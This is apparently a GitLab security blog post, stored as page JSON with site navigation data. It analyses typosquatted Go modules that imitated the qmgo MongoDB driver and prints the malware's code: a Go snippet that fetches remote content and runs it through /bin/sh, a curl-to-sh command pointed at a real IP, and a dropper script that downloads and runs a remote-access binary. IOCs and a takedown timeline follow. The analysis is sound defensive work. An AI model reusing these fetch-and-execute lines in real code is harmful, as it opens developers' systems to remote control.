[{"data":1,"prerenderedAt":1539},["ShallowReactive",2],{"/blog/gitlab-catches-mongodb-go-module-supply-chain-attack":3,"navigation-en-us":755,"banner-en-us":1182,"footer-en-us":1192,"blog-post-authors-en-us-Michael Henriksen":1437,"blog-related-posts-en-us-gitlab-catches-mongodb-go-module-supply-chain-attack":1452,"blog-promotions-en-us":1477,"next-steps-en-us":1529},{"id":4,"title":5,"authors":6,"body":8,"category":738,"date":739,"description":740,"extension":741,"externalUrl":742,"faq":742,"featured":743,"heroImage":744,"meta":745,"navigation":743,"path":746,"seo":747,"slug":749,"stem":750,"tags":751,"template":753,"updatedDate":742,"__hash__":754},"blogPosts/en-us/blog/gitlab-catches-mongodb-go-module-supply-chain-attack.md","GitLab catches MongoDB Go module supply chain attack",[7],"Michael Henriksen",{"type":9,"value":10,"toc":728},"minimark",[11,15,28,33,76,80,83,259,275,283,293,317,335,403,416,433,437,443,447,472,476,479,483,622,626,635,639,724],[12,13,14],"p",{},"Software supply chain attacks via malicious dependencies continue to be one of the most significant security threats to modern software development. The widespread use of open source components has enabled development teams to build applications rapidly, but it has also widened the attack surface area. The growing ecosystem of third-party packages presents numerous opportunities for attackers to exploit dependencies through techniques like typosquatting, dependency confusion, and package impersonation, making it increasingly challenging for developers to distinguish legitimate packages from malicious imposters.\nTo address this challenge, GitLab's Vulnerability Research team recently developed an automated detection system designed to proactively identify malicious dependencies in software supply chains. The system combines multiple detection techniques that work in concert:",[16,17,18,22,25],"ul",{},[19,20,21],"li",{},"Automated typosquatting detection, which identifies suspicious naming patterns",[19,23,24],{},"Semantic code analysis, which flags potentially malicious behaviors like network requests or command executions",[19,26,27],{},"AI-assisted initial screening for advanced payload and obfuscation detection\nThis multi-layered approach is used by the vulnerability research team to continuously scan newly published dependencies across major ecosystems, providing early warning of supply chain attacks.\nUsing this detection system, GitLab recently identified a live typosquatting attack in the wild that leveraged a malicious MongoDB Go module. Below are details on the attack and how GitLab works to keep supply chains safe.",[29,30,32],"h2",{"id":31},"executive-summary-a-mongodb-module-thats-not-quite-right","Executive summary: A MongoDB module that's not quite right",[12,34,35,36,40,41,47,48,51,52,55,56,59,60,63,64,67,68,71,72,75],{},"Our detection system flagged a newly published Go module called ",[37,38,39],"code",{},"github.com/qiniiu/qmgo",", closely mimicking the popular ",[42,43,46],"a",{"href":44,"rel":45},"https://www.mongodb.com/",[],"MongoDB"," module ",[37,49,50],{},"github.com/qiniu/qmgo",". The legitimate module describes itself as \"The Go driver for MongoDB\" and has gained traction in the Go community.\nTo disguise the malicious module as legitimate, the threat actor used a GitHub username nearly identical to the one associated with the real module with one subtle change: they added one “i” (",[37,53,54],{},"qiniu"," → ",[37,57,58],{},"qiniiu","). To the casual observer scrolling through search results or auto-complete suggestions, this difference would be very easy to overlook.\nThe new module’s code was a working copy of the legitimate ",[37,61,62],{},"qmgo"," module. However, malicious code was inserted into the ",[37,65,66],{},"NewClient"," function in ",[37,69,70],{},"client.go",", a function that developers would naturally call when initializing their MongoDB connection. Concealing malicious code within a function made the payload less likely to be executed during potential runtime security analysis, while ensuring that it would execute from normal usage in real applications.\nAfter reporting the malicious module, it was removed within approximately 19 hours of our initial report. However, the threat actor quickly adapted, publishing a second typosquatted version (",[37,73,74],{},"github.com/qiiniu/qmgo",") just four days later with identical malicious code. This follow-up attack was also detected and taken down roughly one hour after initial discovery. The rapid redeployment demonstrates the persistent nature of these attacks and highlights why proactive detection is crucial in minimizing exposure windows.",[29,77,79],{"id":78},"technical-deep-dive-peeling-back-the-layers","Technical deep dive: Peeling back the layers",[12,81,82],{},"The threat actor took steps to hide the attack. The malicious payload used a multilayered approach, starting with a compact code snippet that triggered a chain of remote payload downloads:",[84,85,90],"pre",{"className":86,"code":87,"language":88,"meta":89,"style":89},"language-go shiki shiki-themes github-light","txt, err := script.Get(\"https://raw.githubusercontent.com/qiiniu/vue-element-admin/refs/heads/main/public/update.html\").String()  \nif err == nil {  \n    txt2, err := script.Get(string(strings.Replace(txt, \"\\n\", \"\", -1))).String()  \n    if err == nil {  \n        exec.Command(\"/bin/sh\", \"-c\", string(txt2)).Start()  \n    }  \n}  \n","go","",[37,91,92,128,147,202,216,247,253],{"__ignoreMap":89},[93,94,97,101,105,108,112,115,119,122,125],"span",{"class":95,"line":96},"line",1,[93,98,100],{"class":99},"sgsFI","txt, err ",[93,102,104],{"class":103},"sD7c4",":=",[93,106,107],{"class":99}," script.",[93,109,111],{"class":110},"s7eDp","Get",[93,113,114],{"class":99},"(",[93,116,118],{"class":117},"sYBdl","\"https://raw.githubusercontent.com/qiiniu/vue-element-admin/refs/heads/main/public/update.html\"",[93,120,121],{"class":99},").",[93,123,124],{"class":110},"String",[93,126,127],{"class":99},"()  \n",[93,129,131,134,137,140,144],{"class":95,"line":130},2,[93,132,133],{"class":103},"if",[93,135,136],{"class":99}," err ",[93,138,139],{"class":103},"==",[93,141,143],{"class":142},"sYu0t"," nil",[93,145,146],{"class":99}," {  \n",[93,148,150,153,155,157,159,161,164,167,170,173,176,179,181,184,187,189,192,195,198,200],{"class":95,"line":149},3,[93,151,152],{"class":99},"    txt2, err ",[93,154,104],{"class":103},[93,156,107],{"class":99},[93,158,111],{"class":110},[93,160,114],{"class":99},[93,162,163],{"class":103},"string",[93,165,166],{"class":99},"(strings.",[93,168,169],{"class":110},"Replace",[93,171,172],{"class":99},"(txt, ",[93,174,175],{"class":117},"\"",[93,177,178],{"class":142},"\\n",[93,180,175],{"class":117},[93,182,183],{"class":99},", ",[93,185,186],{"class":117},"\"\"",[93,188,183],{"class":99},[93,190,191],{"class":103},"-",[93,193,194],{"class":142},"1",[93,196,197],{"class":99},"))).",[93,199,124],{"class":110},[93,201,127],{"class":99},[93,203,205,208,210,212,214],{"class":95,"line":204},4,[93,206,207],{"class":103},"    if",[93,209,136],{"class":99},[93,211,139],{"class":103},[93,213,143],{"class":142},[93,215,146],{"class":99},[93,217,219,222,225,227,230,232,235,237,239,242,245],{"class":95,"line":218},5,[93,220,221],{"class":99},"        exec.",[93,223,224],{"class":110},"Command",[93,226,114],{"class":99},[93,228,229],{"class":117},"\"/bin/sh\"",[93,231,183],{"class":99},[93,233,234],{"class":117},"\"-c\"",[93,236,183],{"class":99},[93,238,163],{"class":103},[93,240,241],{"class":99},"(txt2)).",[93,243,244],{"class":110},"Start",[93,246,127],{"class":99},[93,248,250],{"class":95,"line":249},6,[93,251,252],{"class":99},"    }  \n",[93,254,256],{"class":95,"line":255},7,[93,257,258],{"class":99},"}\n",[12,260,261,262,266,267,270,271,274],{},"The attack unfolds in four distinct layers:\n",[263,264,265],"strong",{},"Layer 1:"," The code fetches ",[37,268,269],{},"update.html"," from another repository owned by the typosquat account ",[37,272,273],{},"qiiniu/vue-element-admin",". The file contained a single line:",[84,276,281],{"className":277,"code":279,"language":280,"meta":89},[278],"language-text","https://img.googlex.cloud/seed.php\n","text",[37,282,279],{"__ignoreMap":89},[12,284,285,288,289,292],{},[263,286,287],{},"Layer 2:"," The code then fetches ",[37,290,291],{},"https://img.googlex.cloud/seed.php",", which returns a single shell command, which is executed:",[84,294,298],{"className":295,"code":296,"language":297,"meta":89,"style":89},"language-bash shiki shiki-themes github-light","curl -s http://207.148.110.29:80/logon61.gif|sh\n","bash",[37,299,300],{"__ignoreMap":89},[93,301,302,305,308,311,314],{"class":95,"line":96},[93,303,304],{"class":110},"curl",[93,306,307],{"class":142}," -s",[93,309,310],{"class":117}," http://207.148.110.29:80/logon61.gif",[93,312,313],{"class":103},"|",[93,315,316],{"class":110},"sh\n",[12,318,319,322,323,326,327,330,331,334],{},[263,320,321],{},"Layer 3:"," The command tells the system to fetch ",[37,324,325],{},"http://207.148.110.29:80/logon61.gif"," using curl and execute the response as a shell script.  The shell script downloads what appears to be an MP3 file (",[37,328,329],{},"chainelli.mp3",") to ",[37,332,333],{},"/tmp/vod",", makes it executable, runs it, and immediately deletes it:",[84,336,338],{"className":295,"code":337,"language":297,"meta":89,"style":89},"#!/bin/sh  \nrm -rf /tmp/vod  \ncurl -s http://207.148.110.29:80/chainelli.mp3 -o /tmp/vod  \nchmod 777 /tmp/vod  \n/tmp/vod  \nrm -rf /tmp/vod  \n",[37,339,340,346,360,376,388,394],{"__ignoreMap":89},[93,341,342],{"class":95,"line":96},[93,343,345],{"class":344},"sAwPA","#!/bin/sh  \n",[93,347,348,351,354,357],{"class":95,"line":130},[93,349,350],{"class":110},"rm",[93,352,353],{"class":142}," -rf",[93,355,356],{"class":117}," /tmp/vod",[93,358,359],{"class":99},"  \n",[93,361,362,364,366,369,372,374],{"class":95,"line":149},[93,363,304],{"class":110},[93,365,307],{"class":142},[93,367,368],{"class":117}," http://207.148.110.29:80/chainelli.mp3",[93,370,371],{"class":142}," -o",[93,373,356],{"class":117},[93,375,359],{"class":99},[93,377,378,381,384,386],{"class":95,"line":204},[93,379,380],{"class":110},"chmod",[93,382,383],{"class":142}," 777",[93,385,356],{"class":117},[93,387,359],{"class":99},[93,389,390,392],{"class":95,"line":218},[93,391,333],{"class":110},[93,393,359],{"class":99},[93,395,396,398,400],{"class":95,"line":249},[93,397,350],{"class":110},[93,399,353],{"class":142},[93,401,402],{"class":117}," /tmp/vod\n",[12,404,405,408,409,411,412,415],{},[263,406,407],{},"Layer 4:"," The ",[37,410,329],{}," file is actually a statically-linked, stripped ELF Go binary designed to establish persistent remote access. Once executed, the malware attempts to connect to its command and control server at ",[37,413,414],{},"ellipal.spoolsv.cyou"," on Port 443 (both TCP and UDP), using a custom encrypted communication protocol with a hardcoded RSA key. From there, it provides the threat actor with remote administration capabilities:",[16,417,418,421,424,427,430],{},[19,419,420],{},"Complete remote shell access and one-off command execution",[19,422,423],{},"Screenshot captures",[19,425,426],{},"SOCKS proxy functionality to make connections through the compromised machine",[19,428,429],{},"Configurable sleep interval between check-ins with the command and control server to avoid detection",[19,431,432],{},"Standard remote access trojan features like filesystem browsing and upload/download",[29,434,436],{"id":435},"theyre-back-already","They're back (already)",[12,438,439,440,442],{},"Just four days after GitLab reported the initial malicious module and saw it removed, ",[37,441,74],{}," appeared – the second typosquatted version with identical malicious code. This quick redeployment demonstrates the persistent nature of these attacks and highlights how threat actors adapt quickly to takedown efforts.",[29,444,446],{"id":445},"gitlabs-approach-finding-needles-in-haystacks","GitLab’s approach: Finding needles in haystacks",[12,448,449,450,453,454,457,458,461,462,467,468,471],{},"The initial discovery and persistence of this attack validated our approach to proactive dependency monitoring and threat detection. GitLab’s detection system combines multiple techniques to identify malicious dependencies:\n",[263,451,452],{},"Typosquatting detection:"," GitLab monitors newly published dependencies and looks for packages that exhibit signs of various typosquatting strategies.\n",[263,455,456],{},"Semantic heuristics:"," Our system statically analyzes code for patterns like network requests, command executions, and other behaviors typical of malicious payloads.\n",[263,459,460],{},"AI-assisted analysis:"," A ",[42,463,466],{"href":464,"rel":465},"https://about.gitlab.com/blog/what-is-a-large-language-model-llm/",[],"large language model"," does the initial analysis of the suspicious parts of the code to help us weed out obvious false positives, detect complex payloads, and identify obfuscation techniques used to hide malicious intent.\n",[263,469,470],{},"Human review:"," A human receives an alert to verify the finding and to perform advanced analysis.",[29,473,475],{"id":474},"recommendations-staying-ahead-of-persistent-supply-chain-threats","Recommendations: Staying ahead of persistent supply chain threats",[12,477,478],{},"This attack highlights the ongoing challenges in securing software supply chains. The multilayered obfuscation and rapid redeployment after takedown demonstrate that threat actors are willing to invest significant effort in targeting popular dependencies.\nThe quick pivot to new typosquatted packages after our initial report highlights a fundamental weakness in the current ecosystems: package managers typically only remove malicious dependencies after they've been published, discovered, and reported by the community. This reactive approach leaves a dangerous window where developers can unknowingly consume compromised packages. Proactive monitoring and detection systems like the one GitLab has developed can help close this gap by identifying threats during the publication process itself.\nWe've provided indicators of compromise (IOCs) in the next section, which you can use in your monitoring systems to detect this specific campaign.",[29,480,482],{"id":481},"indicators-of-compromise","Indicators of compromise",[484,485,486,500],"table",{},[487,488,489],"thead",{},[490,491,492,497],"tr",{},[493,494,496],"th",{"align":495},"left","IOC",[493,498,499],{"align":495},"Description",[501,502,503,513,521,531,540,548,556,565,575,584,593,603,613],"tbody",{},[490,504,505,510],{},[506,507,508],"td",{"align":495},[37,509,39],{},[506,511,512],{"align":495},"Malicious Go module",[490,514,515,519],{},[506,516,517],{"align":495},[37,518,74],{},[506,520,512],{"align":495},[490,522,523,528],{},[506,524,525],{"align":495},[37,526,527],{},"https://raw.githubusercontent.com/qiniiu/vue-element-admin/refs/heads/main/public/update.html",[506,529,530],{"align":495},"Payload delivery URL",[490,532,533,538],{},[506,534,535],{"align":495},[37,536,537],{},"https://raw.githubusercontent.com/qiiniu/vue-element-admin/refs/heads/main/public/update.html",[506,539,530],{"align":495},[490,541,542,546],{},[506,543,544],{"align":495},[37,545,291],{},[506,547,530],{"align":495},[490,549,550,554],{},[506,551,552],{"align":495},[37,553,325],{},[506,555,530],{"align":495},[490,557,558,563],{},[506,559,560],{"align":495},[37,561,562],{},"http://207.148.110.29:80/chainelli.mp3",[506,564,530],{"align":495},[490,566,567,572],{},[506,568,569],{"align":495},[37,570,571],{},"img.googlex.cloud",[506,573,574],{"align":495},"Payload delivery host",[490,576,577,582],{},[506,578,579],{"align":495},[37,580,581],{},"207.148.110.29",[506,583,574],{"align":495},[490,585,586,590],{},[506,587,588],{"align":495},[37,589,414],{},[506,591,592],{"align":495},"Command & Control host",[490,594,595,600],{},[506,596,597],{"align":495},[37,598,599],{},"6ada952c592f286692c59028c5e0fc3fa589759f",[506,601,602],{"align":495},"SHA-1 checksum of chainelli.mp3 remote administration malware",[490,604,605,610],{},[506,606,607],{"align":495},[37,608,609],{},"8ae533e2d1d89c871908cbcf5c7d89c433d09b2e7f7d4ade3aef46c55b66509c",[506,611,612],{"align":495},"SHA-256 checksum of chainelli.mp3 remote administration malware",[490,614,615,619],{},[506,616,617],{"align":495},[37,618,333],{},[506,620,621],{"align":495},"Temporary download location of chainelli.mp3 remote administration malware",[29,623,625],{"id":624},"how-gitlab-helps-secure-the-software-supply-chain","How GitLab helps secure the software supply chain",[12,627,628,629,634],{},"Malicious dependencies, like the MongoDB Go module attack, highlight why securing the software supply chain requires more than just CVE monitoring. GitLab’s DevSecOps platform includes ",[42,630,633],{"href":631,"rel":632},"https://docs.gitlab.com/user/application_security/secure_your_application/",[],"Application Security Testing"," scanners like Software Composition Analysis in the development lifecycle, helping teams catch vulnerable or malicious packages before they reach production.\nPaired with research efforts like this, GitLab aims to enable developers to build applications that are secure from the start without compromising on development velocity.",[29,636,638],{"id":637},"timeline","Timeline",[16,640,641,650,658,670,678,686,695,702,709,716],{},[19,642,643,646,647,649],{},[263,644,645],{},"2025-06-01T09:31:"," GitLab reports ",[37,648,39],{}," to Go Security",[19,651,652,646,655,657],{},[263,653,654],{},"2025-06-01T09:43:",[37,656,39],{}," to GitHub",[19,659,660,646,663,665,666,669],{},[263,661,662],{},"2025-06-01T10:14:",[37,664,414],{}," (",[37,667,668],{},"188.166.213.194",") to the IP block owner",[19,671,672,675,676],{},[263,673,674],{},"2025-06-02T04:03:"," Go Security takes down ",[37,677,39],{},[19,679,680,683,684],{},[263,681,682],{},"2025-06-02T09:57:"," The IP block owner suspends ",[37,685,668],{},[19,687,688,691,692],{},[263,689,690],{},"2025-06-03T09:15:"," GitHub suspends ",[37,693,694],{},"github.com/qiniiu",[19,696,697,646,700,649],{},[263,698,699],{},"2025-06-05T17:15:",[37,701,74],{},[19,703,704,646,707,657],{},[263,705,706],{},"2025-06-05T17:33:",[37,708,74],{},[19,710,711,675,714],{},[263,712,713],{},"2025-06-05T17:45:",[37,715,74],{},[19,717,718,691,721],{},[263,719,720],{},"2025-06-06T12:25:",[37,722,723],{},"github.com/qiiniu",[725,726,727],"style",{},"html pre.shiki code .sgsFI, html code.shiki .sgsFI{--shiki-default:#24292E}html pre.shiki code .sD7c4, html code.shiki .sD7c4{--shiki-default:#D73A49}html pre.shiki code .s7eDp, html code.shiki .s7eDp{--shiki-default:#6F42C1}html pre.shiki code .sYBdl, html code.shiki .sYBdl{--shiki-default:#032F62}html pre.shiki code .sYu0t, html code.shiki .sYu0t{--shiki-default:#005CC5}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAwPA, html code.shiki .sAwPA{--shiki-default:#6A737D}",{"title":89,"searchDepth":130,"depth":130,"links":729},[730,731,732,733,734,735,736,737],{"id":31,"depth":130,"text":32},{"id":78,"depth":130,"text":79},{"id":435,"depth":130,"text":436},{"id":445,"depth":130,"text":446},{"id":474,"depth":130,"text":475},{"id":481,"depth":130,"text":482},{"id":624,"depth":130,"text":625},{"id":637,"depth":130,"text":638},"security","2025-06-30","Learn how GitLab detected a supply chain attack targeting Go developers through fake MongoDB drivers that deploy persistent backdoor malware.","md",null,true,"https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098739/Blog/Hero%20Images/Blog/Hero%20Images/AdobeStock_282096522_securitycompliance.jpeg_1750098739024.jpg",{},"/en-us/blog/gitlab-catches-mongodb-go-module-supply-chain-attack",{"noIndex":748,"title":5,"description":740},false,"gitlab-catches-mongodb-go-module-supply-chain-attack","en-us/blog/gitlab-catches-mongodb-go-module-supply-chain-attack",[738,752],"product","BlogPost","_rEKKHvjw0lxRq4r-_N2ID8_vjFmAQ_CX9OnWZF9gaI",{"logo":756,"freeTrial":761,"sales":766,"login":771,"items":776,"search":1102,"minimal":1133,"duo":1152,"switchNav":1161,"pricingDeployment":1172},{"config":757},{"href":758,"dataGaName":759,"dataGaLocation":760},"/","gitlab logo","header",{"text":762,"config":763},"Get free trial",{"href":764,"dataGaName":765,"dataGaLocation":760},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com&glm_content=default-saas-trial/","free trial",{"text":767,"config":768},"Request a demo",{"href":769,"dataGaName":770,"dataGaLocation":760},"/sales/?contact-topic=request-demo","sales",{"text":772,"config":773},"Sign in",{"href":774,"dataGaName":775,"dataGaLocation":760},"https://gitlab.com/users/sign_in/","sign in",[777,806,905,910,1024,1080],{"text":778,"config":779,"menu":781},"Platform",{"dataNavLevelOne":780},"platform",{"type":782,"columns":783},"cards",[784,790,798],{"title":778,"description":785,"link":786},"The intelligent orchestration platform for DevSecOps",{"text":787,"config":788},"Explore our Platform",{"href":789,"dataGaName":780,"dataGaLocation":760},"/platform/",{"title":791,"description":792,"link":793},"GitLab Duo Agent Platform","Agentic AI for the entire software lifecycle",{"text":794,"config":795},"Meet GitLab Duo",{"href":796,"dataGaName":797,"dataGaLocation":760},"/gitlab-duo-agent-platform/","gitlab duo agent platform",{"title":799,"description":800,"link":801},"Why GitLab","See the top reasons enterprises choose GitLab",{"text":802,"config":803},"Learn more",{"href":804,"dataGaName":805,"dataGaLocation":760},"/why-gitlab/","why gitlab",{"text":807,"left":743,"config":808,"menu":810},"Product",{"dataNavLevelOne":809},"solutions",{"type":811,"link":812,"columns":816,"feature":884},"lists",{"text":813,"config":814},"View all Solutions",{"href":815,"dataGaName":809,"dataGaLocation":760},"/solutions/",[817,841,863],{"title":818,"description":819,"link":820,"items":825},"Automation","CI/CD and automation to accelerate deployment",{"config":821},{"icon":822,"href":823,"dataGaName":824,"dataGaLocation":760},"AutomatedCodeAlt","/solutions/delivery-automation/","automated software delivery",[826,830,833,837],{"text":827,"config":828},"CI/CD",{"href":829,"dataGaLocation":760,"dataGaName":827},"/solutions/continuous-integration/",{"text":791,"config":831},{"href":796,"dataGaLocation":760,"dataGaName":832},"gitlab duo agent platform - product menu",{"text":834,"config":835},"Source Code Management",{"href":836,"dataGaLocation":760,"dataGaName":834},"/solutions/source-code-management/",{"text":838,"config":839},"Automated Software Delivery",{"href":823,"dataGaLocation":760,"dataGaName":840},"Automated software delivery",{"title":842,"description":843,"link":844,"items":849},"Security","Deliver code faster without compromising security",{"config":845},{"href":846,"dataGaName":847,"dataGaLocation":760,"icon":848},"/solutions/application-security-testing/","security and compliance","ShieldCheckLight",[850,853,858],{"text":633,"config":851},{"href":846,"dataGaName":852,"dataGaLocation":760},"Application security testing",{"text":854,"config":855},"Software Supply Chain Security",{"href":856,"dataGaLocation":760,"dataGaName":857},"/solutions/supply-chain/","Software supply chain security",{"text":859,"config":860},"Software Compliance",{"href":861,"dataGaName":862,"dataGaLocation":760},"/solutions/software-compliance/","software compliance",{"title":864,"link":865,"items":870},"Measurement",{"config":866},{"icon":867,"href":868,"dataGaName":869,"dataGaLocation":760},"DigitalTransformation","/solutions/visibility-measurement/","visibility and measurement",[871,875,879],{"text":872,"config":873},"Visibility & Measurement",{"href":868,"dataGaLocation":760,"dataGaName":874},"Visibility and Measurement",{"text":876,"config":877},"Value Stream Management",{"href":878,"dataGaLocation":760,"dataGaName":876},"/solutions/value-stream-management/",{"text":880,"config":881},"Analytics & Insights",{"href":882,"dataGaLocation":760,"dataGaName":883},"/solutions/analytics-and-insights/","Analytics and insights",{"title":885,"type":811,"items":886},"GitLab for",[887,893,899],{"text":888,"config":889},"Enterprise",{"icon":890,"href":891,"dataGaLocation":760,"dataGaName":892},"Building","/enterprise/","enterprise",{"text":894,"config":895},"Small Business",{"icon":896,"href":897,"dataGaLocation":760,"dataGaName":898},"Work","/small-business/","small business",{"text":900,"config":901},"Public Sector",{"icon":902,"href":903,"dataGaLocation":760,"dataGaName":904},"Organization","/solutions/public-sector/","public sector",{"text":906,"config":907},"Pricing",{"href":908,"dataGaName":909,"dataGaLocation":760,"dataNavLevelOne":909},"/pricing/","pricing",{"text":911,"config":912,"menu":914},"Resources",{"dataNavLevelOne":913},"resources",{"type":811,"link":915,"columns":919,"feature":1013},{"text":916,"config":917},"View all resources",{"href":918,"dataGaName":913,"dataGaLocation":760},"/resources/",[920,953,980],{"title":921,"items":922},"Getting started",[923,928,933,938,943,948],{"text":924,"config":925},"Install",{"href":926,"dataGaName":927,"dataGaLocation":760},"/install/","install",{"text":929,"config":930},"Quick start guides",{"href":931,"dataGaName":932,"dataGaLocation":760},"/get-started/","quick setup checklists",{"text":934,"config":935},"Learn",{"href":936,"dataGaLocation":760,"dataGaName":937},"https://university.gitlab.com/","learn",{"text":939,"config":940},"Product documentation",{"href":941,"dataGaName":942,"dataGaLocation":760},"https://docs.gitlab.com/","product documentation",{"text":944,"config":945},"Best practice videos",{"href":946,"dataGaName":947,"dataGaLocation":760},"/getting-started-videos/","best practice videos",{"text":949,"config":950},"Integrations",{"href":951,"dataGaName":952,"dataGaLocation":760},"/integrations/","integrations",{"title":954,"items":955},"Discover",[956,961,966,971,975],{"text":957,"config":958},"Customer success stories",{"href":959,"dataGaName":960,"dataGaLocation":760},"/customers/","customer success stories",{"text":962,"config":963},"Blog",{"href":964,"dataGaName":965,"dataGaLocation":760},"/blog/","blog",{"text":967,"config":968},"Demo Hub",{"href":969,"dataGaName":970,"dataGaLocation":760},"/demo-hub/","demo hub",{"text":972,"config":973},"The Source",{"href":974,"dataGaName":965,"dataGaLocation":760},"/the-source/",{"text":976,"config":977},"Remote",{"href":978,"dataGaName":979,"dataGaLocation":760},"https://handbook.gitlab.com/handbook/company/culture/all-remote/","remote",{"title":981,"items":982},"Connect",[983,988,993,998,1003,1008],{"text":984,"config":985},"GitLab Services",{"href":986,"dataGaName":987,"dataGaLocation":760},"/services/","services",{"text":989,"config":990},"Contribute",{"href":991,"dataGaName":992,"dataGaLocation":760},"https://contributors.gitlab.com","contribute",{"text":994,"config":995},"Community",{"href":996,"dataGaName":997,"dataGaLocation":760},"/community/","community",{"text":999,"config":1000},"Forum",{"href":1001,"dataGaName":1002,"dataGaLocation":760},"https://forum.gitlab.com/","forum",{"text":1004,"config":1005},"Events",{"href":1006,"dataGaName":1007,"dataGaLocation":760},"/events/","events",{"text":1009,"config":1010},"Partners",{"href":1011,"dataGaName":1012,"dataGaLocation":760},"/partners/","partners",{"config":1014,"title":1017,"text":1018,"link":1019},{"background":1015,"textColor":1016},"url('https://res.cloudinary.com/about-gitlab-com/image/upload/v1777322348/qpq8yrgn8knii57omj0c.png')","#000","What’s new in GitLab","Stay updated with our latest features and improvements.",{"text":1020,"config":1021},"Read the latest",{"href":1022,"dataGaName":1023,"dataGaLocation":760},"/whats-new/","whats new",{"text":1025,"config":1026,"menu":1028},"Company",{"dataNavLevelOne":1027},"company",{"type":811,"columns":1029},[1030],{"items":1031},[1032,1037,1043,1045,1050,1055,1060,1065,1070,1075],{"text":1033,"config":1034},"About",{"href":1035,"dataGaName":1036,"dataGaLocation":760},"/company/","about",{"text":1038,"config":1039,"footerGa":1042},"Jobs",{"href":1040,"dataGaName":1041,"dataGaLocation":760},"/jobs/","jobs",{"dataGaName":1041},{"text":1004,"config":1044},{"href":1006,"dataGaName":1007,"dataGaLocation":760},{"text":1046,"config":1047},"Leadership",{"href":1048,"dataGaName":1049,"dataGaLocation":760},"/company/team/e-group/","leadership",{"text":1051,"config":1052},"Handbook",{"href":1053,"dataGaName":1054,"dataGaLocation":760},"https://handbook.gitlab.com/","handbook",{"text":1056,"config":1057},"Investor relations",{"href":1058,"dataGaName":1059,"dataGaLocation":760},"https://ir.gitlab.com/overview/default.aspx","investor relations",{"text":1061,"config":1062},"Trust Center",{"href":1063,"dataGaName":1064,"dataGaLocation":760},"/security/","trust center",{"text":1066,"config":1067},"AI Transparency Center",{"href":1068,"dataGaName":1069,"dataGaLocation":760},"/ai-transparency-center/","ai transparency center",{"text":1071,"config":1072},"Newsletter",{"href":1073,"dataGaName":1074,"dataGaLocation":760},"/company/contact/#contact-forms","newsletter",{"text":1076,"config":1077},"Press",{"href":1078,"dataGaName":1079,"dataGaLocation":760},"/press/","press",{"text":1081,"config":1082,"menu":1083},"Contact us",{"dataNavLevelOne":1027},{"type":811,"columns":1084},[1085],{"items":1086},[1087,1092,1097],{"text":1088,"config":1089},"Talk to sales",{"href":1090,"dataGaName":1091,"dataGaLocation":760},"/sales/","talk to sales",{"text":1093,"config":1094},"Support portal",{"href":1095,"dataGaName":1096,"dataGaLocation":760},"https://support.gitlab.com/hc/en-us","support portal",{"text":1098,"config":1099},"Customer portal",{"href":1100,"dataGaName":1101,"dataGaLocation":760},"https://customers.gitlab.com/customers/sign_in/","customer portal",{"close":1103,"login":1104,"suggestions":1111},"Close",{"text":1105,"link":1106},"To search repositories and projects, login to",{"text":1107,"config":1108},"gitlab.com",{"href":774,"dataGaName":1109,"dataGaLocation":1110},"search login","search",{"text":1112,"default":1113},"Suggestions",[1114,1116,1120,1122,1126,1130],{"text":791,"config":1115},{"href":796,"dataGaName":791,"dataGaLocation":1110},{"text":1117,"config":1118},"Code Suggestions (AI)",{"href":1119,"dataGaName":1117,"dataGaLocation":1110},"/solutions/code-suggestions/",{"text":827,"config":1121},{"href":829,"dataGaName":827,"dataGaLocation":1110},{"text":1123,"config":1124},"GitLab on AWS",{"href":1125,"dataGaName":1123,"dataGaLocation":1110},"/partners/technology-partners/aws/",{"text":1127,"config":1128},"GitLab on Google Cloud",{"href":1129,"dataGaName":1127,"dataGaLocation":1110},"/partners/technology-partners/google-cloud-platform/",{"text":1131,"config":1132},"Why GitLab?",{"href":804,"dataGaName":1131,"dataGaLocation":1110},{"freeTrial":1134,"mobileIcon":1139,"desktopIcon":1144,"secondaryButton":1147},{"text":1135,"config":1136},"Start free trial",{"href":1137,"dataGaName":765,"dataGaLocation":1138},"https://gitlab.com/-/trials/new/","nav",{"altText":1140,"config":1141},"Gitlab Icon",{"src":1142,"dataGaName":1143,"dataGaLocation":1138},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758203874/jypbw1jx72aexsoohd7x.svg","gitlab icon",{"altText":1140,"config":1145},{"src":1146,"dataGaName":1143,"dataGaLocation":1138},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758203875/gs4c8p8opsgvflgkswz9.svg",{"text":1148,"config":1149},"Get Started",{"href":1150,"dataGaName":1151,"dataGaLocation":1138},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/get-started/","get started",{"freeTrial":1153,"mobileIcon":1157,"desktopIcon":1159},{"text":1154,"config":1155},"Learn more about GitLab Duo",{"href":796,"dataGaName":1156,"dataGaLocation":1138},"gitlab duo",{"altText":1140,"config":1158},{"src":1142,"dataGaName":1143,"dataGaLocation":1138},{"altText":1140,"config":1160},{"src":1146,"dataGaName":1143,"dataGaLocation":1138},{"button":1162,"mobileIcon":1167,"desktopIcon":1169},{"text":1163,"config":1164},"/switch",{"href":1165,"dataGaName":1166,"dataGaLocation":1138},"#contact","switch",{"altText":1140,"config":1168},{"src":1142,"dataGaName":1143,"dataGaLocation":1138},{"altText":1140,"config":1170},{"src":1171,"dataGaName":1143,"dataGaLocation":1138},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1773335277/ohhpiuoxoldryzrnhfrh.png",{"freeTrial":1173,"mobileIcon":1178,"desktopIcon":1180},{"text":1174,"config":1175},"Back to pricing",{"href":908,"dataGaName":1176,"dataGaLocation":1138,"icon":1177},"back to pricing","GoBack",{"altText":1140,"config":1179},{"src":1142,"dataGaName":1143,"dataGaLocation":1138},{"altText":1140,"config":1181},{"src":1146,"dataGaName":1143,"dataGaLocation":1138},{"title":1183,"titleMobile":1184,"button":1185,"config":1190},"Duo Agent Platform delivers 400% ROI, per new Forrester Consulting study.","400% ROI: Forrester TEI for GitLab 